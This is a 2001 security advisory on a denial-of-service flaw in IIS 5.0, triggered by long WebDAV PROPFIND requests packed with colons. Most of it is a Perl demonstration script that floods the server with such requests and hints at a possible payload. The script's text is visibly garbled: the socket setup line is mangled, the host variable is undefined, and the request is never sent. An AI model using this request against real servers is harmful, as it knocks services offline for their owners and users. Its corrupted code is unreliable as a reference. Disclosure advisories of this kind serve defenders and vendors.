IIS 5.0 PROPFIND DOS #2

Systems affected:
IIS 5.0

Risk: Medium
Date: 6 May 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts of it without the author's 
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information 
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or program or 
any derivatives thereof.
 

Description:

It is possible to remotely restart all IIS related services using specially crafted request.
If this request is repeated continously this seriously affects IIS performance.

Details:

Basically the problem are very long but valid propfind request containing lots of ":".
 

Demonstration:

--vv9.pl-------------------------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
exit(0);
printf "Written by Georgi Guninski wait some time\n";

sub vv()
{
$ll=$_[0]; => "TCP") || return;
$over=":" x $ll ; # the ":" is the most important
$ch=pack("C",65); # just to check whether potentail payload is possible - yes
$tmp = $ch x 64;
$over= $ch x 4 . $over . $tmp;
$over1=":" x $ll; #not sure about this 

$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over1".':">';
$xml=$xml.'<a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
$l=length($xml);
$req="PROPFIND / HTTP/1\.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
$socket->read($res,200);
print $res;
close $socket;
}
 

do vv(59060); 
#this is overflow, repeat several times - 49060 seems the smallest #, may need to change
sleep(1);
do vv(59060);

---------------------------------------------------------------------------

Workaround: Disabling WebDav extensions may help
though I do not recommend using IIS on the Internet.

Vendor status:
Microsoft was informed on 1 May 2001